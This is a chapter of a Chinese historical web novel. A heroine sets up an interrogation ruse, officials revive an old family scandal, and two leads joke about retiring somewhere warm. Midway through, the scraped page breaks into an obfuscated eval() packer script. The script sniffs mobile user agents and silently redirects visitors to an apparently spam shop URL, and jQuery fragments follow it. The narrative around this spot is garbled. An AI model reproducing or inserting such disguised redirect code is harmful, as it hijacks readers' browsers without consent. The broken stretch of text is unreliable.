106. 玩笑

作品:《卢家养女

    五儿也是流光阁选出之人,因极擅口技,能模仿男女老幼,甚至花鸟虫鱼之音,孟珂瞧她身形与自己相仿,选中她带在身边,方便当自己替身,没想到还有今日这般妙用。


    暗牢中不点灯,既能让梁云钦在那无尽黑暗中饱受折磨,消解其意志,也让他看不真切,方便“梁夫人”审问。


    孟珂一直怀疑,梁云钦和霍茹蕙之间不只是利益之争,当年霍茹蕙好像就格外厌恶梁云钦。她问了许莲生,得知梁云钦对霍茹蕙起过色心,做过些猥琐之事,让曾怀义出手救了。


    以霍茹蕙的骄傲,有可能真看上那时正当盛年且颇为英武的曾怀义,但梁云钦那条好色又无能的狗腿子,就连他敢产生觊觎之心,都会让霍茹蕙觉得恶心。


    他竟然还敢真的动作,霍茹蕙必定恨不能除之而后快。二人便这么结下了梁子。


    “不是要梁云钦出面推动这霍家案,怎么倒把他关起来了?”雨歇往里面看了一眼,又看了看几人的乔装打扮,疑惑地问,“还搞这么复杂?”


    孟珂笑道:“他这样奸滑的人,不到最后关头是不会交出保命东西的。就得用他的死对头来逼一下。”


    “可他现在想着横竖不会放过他,死也不交出手中证物,恶心下‘梁夫人’。”雨歇问,“就这么关下去,不是耽误时间吗?”


    孟珂往上行的楼梯走去:“我本就没指望他就这么交出来。”


    “那小姐做这出戏又是为何?”雨歇几人也跟上。


    孟珂在楼梯上顿住了脚步,扫了她一眼,继续向前走去:“证明有这个东西存在,他也的确手握这个东西,我这一步的目的,也就达到了!”


    她和周冶研究案卷的时候,就发现有一点很是奇怪。曾怀义当初既铁了心要扫除霍家,甚至想出了强/奸/幼/女这种死罪,牵连进近亲,便没有任何一丝手软的可能,但后来却出现了一个证物——账本。


    正是这个账本,把强/奸/案变成了逼良为娼和纵人/奸/女。


    强/奸/幼/女和轮/奸都要处死,亲属/相/奸是绞刑,全都得死;而逼良为娼,只需杖刑一百,徒三年。


    就是这个账本在曾怀义想做死的案子里,四两拨千斤地为那些人撬开了一线生机,即便后来在数罪并罚、从重处理之下,“首恶之徒”落了充军、流放。


    这账本是哪里来的?谁出的主意?


    这东西既能被接受为证据,就不可能是临时伪造的,相关人定然知道它的存在。这些亲朋好友能牵涉其中的、原本就存在的账本……孟珂突然想到了一个东西,但只是猜测。


    如今,梁云钦给了她验证所想的可能。


    “那小姐的目的已经达到,准备再关多久?”


    “让他吃吃苦头!”


    孟珂冷笑道,“让他交出关键证据、甚至出面指认,需要再推他一把,得让他积累足够的怨气、恨意,非鱼死网破不可!”


    说话间,几人拐过几道弯,上到了一间密室。正是熹园的佛堂之后,供着无字牌位的那一间。


    孟珂站住了脚,扫了那无字牌位一眼,又看向了脚下。


    早在修整熹园,挖温泉池、造假山的时候,她便命人在这佛堂之下,挖了这别有洞天。


    一边是密室,可藏人避祸;一边是暗牢,可关押审讯。而在其上,则外有佛堂镇着,内有英魂守着。


    ***


    霍茹蕙的寻人告示一贴,没几日就传遍了绥陵。


    谁也没想到,当年神神秘秘的霍家案,竟然会有重新翻出来的一天。这一翻,那布满了老尘旧灰的事,被抖搂开了来。关于霍家案的种种说法,也不知被什么人扒拉了出来。


    哪条街上都有那么几个闲得没事又好事的小年轻,听着有些年纪的人,讲起当年的捕风捉影,又再传扬开去。


    而那种种说法,见风就发了酵,像一块小小面团,蒸出了一屉各不相同的馒头,个个膨胀得不像样子。


    有人说,那霍家小姐之所以会被自家人给害了,是为了报她害死弟弟之仇。据说,那孩子生下之后便多次遇险,几次从鬼门关救回来,可最后还是在自家花园里的假山下被发现,彻底救不回来了。人是死了,但到底是孩子自己摔的,还是被人害死的,却莫衷一是。


    有人说,有命理师打小就判了这霍茹蕙是灾星命,必克六亲。见她果然克死了亲弟弟,眼看就该克父母六亲。不知谁支了个招,说得让她借足七七四十九个人的阳气,方可镇住其天生所带的阴邪,破了那灾星之煞气。虽毁她一个,却可保全六亲。


    那笃信鬼神的觉得,有些孩子就是天生妖孽,必须除之而后快,不然就是为祸人间,有大报应。即便霍家人真亲手害了她,也情有可原。若她真的没死,重新回来,也要把她这妖邪诛杀了,免得为祸乡里才是。


    那不信的,自然觉得纯属无稽之谈,哪能因命理之说而对亲生骨肉下手,何况用的还是那样的手法。若真有玄妙,也是那霍家和涉案人等,起了坏心,做了恶事,才遭了报应,落到如此下场。


    随着这些话传开,衙门官差去查访当年涉案诸人的族人故旧、街坊四邻,一说起当年的案子,人人都滔滔不绝,可一旦提起霍茹蕙可能的下落,当即如油锅落水,噼啪四溅。


    有人积极支持,“这样的妖邪,就要挖地三尺找出来不可!”


    有人奋力阻拦,“你们这是杀人在前,还要鞭尸在后?哪有把冤死的人,时隔这么些年再挖出来的?”


    “就算还活着,人姑娘遭了那么大的难,你们还要去把人找出来?就见不得人过几天安生日子,非把人逼死不可吗?”


    “人为什么远走他乡,不就是在这儿没活路?你们再找了去,事情闹起来,让她怎么过?丈夫儿女怎么看,婆家怎么看她?”


    ……


    一连数日,四处查访的官差,有被吐口水的,有被泼洗脚水的,有被拿大扫把扫出去的,有被扔烂菜叶、臭鸡蛋的……所有能用的道具和咒骂都用上了。


    走到哪儿都有一群小乞丐跟在屁股后面,唱着些乱七八糟埋汰人的小曲儿。


    茶楼上,孟珂看着楼下官差查访过来,小乞丐们唱着小曲过去,抬眼看向对面的周冶:“我们用霍家案来盖过义庄案,她便用妖邪之说来混淆重点,阻挠官差查案。也算是异曲同工了。”


    周冶也扫了一眼楼下,看着她道:“既如此,那我们就把被她挪开的视线,再拉回来!你这就画一幅霍茹蕙的画像,咱们重发寻人告示,以重金悬赏,让全城帮着提供线索!”


    他笑道,“看是打嘴仗实惠,还是百金悬赏实惠。”


    新的寻人告示一贴上去,果然当即吸引了众人注意,无不冲着那百金重金摩拳擦掌。所有人都看着那画像,猜度着霍茹蕙如今的模样,从脑海中细细翻找着可能的线索。


    梁夫人在马车里,拿着一张孙嬷嬷命人悄悄揭下的寻人告示,手不由微微发抖——那个十三岁的自己,突然破空而来,重新站在了面前。


    作画之人,显然对她的相貌了如指掌,连神韵都极其准确。


    一晃经年,就连她自己也许久没看过那张脸,没记得那么分毫毕现。


    “此人必是旧人。”梁夫人喃喃道。


    “也未必吧。”孙嬷嬷道,“听说有些协助衙门探案的画师,仅凭描述,便可画出样貌。即便真是故人,也未必记得那么清楚了。”


    梁夫人心中忐忑,笑道:“也是。”


    “夫人,该下车了。”孙嬷嬷掀开车帘道。


    梁夫人却迟疑了一瞬。


    当初入陈府之前,她便刻意改样子了,无论装扮、个性还是气质,都与从前大不相同,等闲还真认不出来。加上熟识她的人都是曾怀义一党,是以她才敢重回绥陵,大摇大摆地出入。


    “夫人?”孙嬷嬷扶着帘子,又催道。


    梁夫人这才起身下车,走在街上,觉得满街的人都在看着她的脸,似乎想要寻找她与那画像的痕迹。


    “人能欺骗别人,却骗不了自己。”


    楼上,一扇窗户开着一条缝隙,孟珂看着霍茹蕙的身影消失,回头看着周冶道,“她可以利用人心,我们也一样。大人办义庄案积攒的民心和信誉,正好可以派上用场了。”


    不待吩咐,一旁的洗墨便接口道,“小的这就吩咐下去,让人提醒一下大伙儿,我们公子是什么样的官。”


    说着,向周冶邀功地看了一眼,却撞上周冶使眼色。


    他一时没反应过来,周冶只好道:“那还不下去?”


    “哦!这就下去,下去。”说着,洗墨忙给没眼色的红荔挤了挤眼睛,拉着她一起退下。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999203|193939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    到门口,还给小二交代,若非里面的人唤,不要轻易打扰,这才冲红荔嘚瑟一下,满意地下去了。


    这下,只剩了周冶和孟珂二人。


    ***


    知道他有话要说,孟珂抢先开了口:“这些日子,感谢公子……”


    “别——”周冶抬手一拦,“你这话一说就生分到家了。若时需要说这些客气话的关系,便不会出手做这些事。”


    孟珂点点头:“是我的不是。”


    周冶看了她一眼,霍家案真正掀开来后,她并没有兴奋或高兴,反而比平时更沉稳,更冷静。但他知道,越是这样,也越说明她心底其实更紧绷。在事情真正尘埃落定之前,她是没办法真正让自己放松的。


    他有意想让她慢慢放松些,往好的方向想一些,别让这路走得太累,便问:“等这些事都结束,你想要做什么,过什么样的日子?”


    他也确实想知道。


    孟珂闻言抬眸看他,顿了一瞬,笑着摇头:“没想过。”


    “可以想一想了。”周冶道,“你此刻现想都行,到时候,反正没了束缚,想做什么都行。”


    没了束缚?倒也没人束缚她,束缚她的人始终是她自己。不过,她还是如周冶所说,认真想了想,随即抬眼看他,反问道:“为什么一定要想做什么,不能什么都不做?”


    周冶似是没想到这个思路,点点头,笑道:“这也行。什么都不做,也是一个选择。”


    让他这么一说,孟珂不由接着想了下去:“我大概就想……懒下来,什么都不做,什么都不想。每日睡醒便吃,吃饱便躺,躺到天昏地暗、日月无光,躺成一个脑子都要废掉的傻子。”


    说到后来,连自己都笑了。她自小便知光阴宝贵,日日学习,总要进益,从未想过自己竟然会有一刻,想要变成一个那样的自己——哪怕只是在脑中想想。


    “那……你想在什么样的地方躺?”周冶却并未觉得当那样的傻子有什么问题,认真问,“在熹园,还是京中?想伴着这绥陵城的宁静山水,还是在京中热闹繁华,方便躺多了后寻欢作乐?”


    “山水很好,宁静也很好,不过,绥陵的冬天,”她顿住了,笑笑,“太……冷了些。”


    周冶明白,是绥陵的冬天,带给她太多不好的记忆。


    孟珂随口道:“我想……去一个没有冬天的地方,找个水边,要个花木扶疏的房子,每日晒着太阳,临水躺着,吃好多好多好吃的。”


    “那我知道一个地方适合你!”周冶兴奋道,“你往南曾走到多远?在南境之南,靠近骠国,有个地方叫彩岚,冬日里也温暖如春,日日阳光灿烂,有吃不完的果蔬,有热海奇观,有温泉,对你身体也好。对了,吃的也多酸辣之味,极开胃的!”


    “好,那我倒要去看看。”孟珂也起了玩笑的心思,看着他道,“不过,到时候我在那里沐浴阳光,大快朵颐的时候,公子你还在这里案牍劳形,会不会气煞了。”


    周冶脚一翘,往后一躺,那懒散不羁味儿又出来了。


    “案牍劳形的事,我就交给涤砚。冬日一到,”周冶看着她,“我就偷跑去找你。”


    瞧孟珂抬眸看他,似乎在品着他这话的真假,他更意味深长又半开玩笑地道,“我帮你这么多,你欠下这一屁股的…..人情债,想甩了我,一走了之,赖账么?我可不答应。”


    “不赖,不赖!”孟珂笑道,别的不说,日日躺着,还能看着这张秀色可餐的脸,那便更是人间仙境了。


    “可是......有你这么当官的吗?不怕御史参你?”


    “嗨,不行我就上书,直接请调到那儿去。正好我这不是立了功吗,就当是赏赐了。”


    孟珂笑:“别人是犯错才贬谪边地,哪有人自己去要,还当成赏赐的?也不怕折了你周府的面子。”


    “我不想要的,便是在那金銮殿上,也是惩罚。”周冶看着她,目光陡然认真,“我想要的,便是陋巷茅屋,也是赏赐。”


    孟珂对上他的目光,片刻,挪开了,笑道:“周大公子果然不俗!”


    “那便说定了!”周冶一副大势已定的样子,看着她,半开玩笑半认真地强调道,“到时候,你去那儿躺,我便去哪儿。”


    她顿了顿,点了点头,也半开玩笑地道:“好。”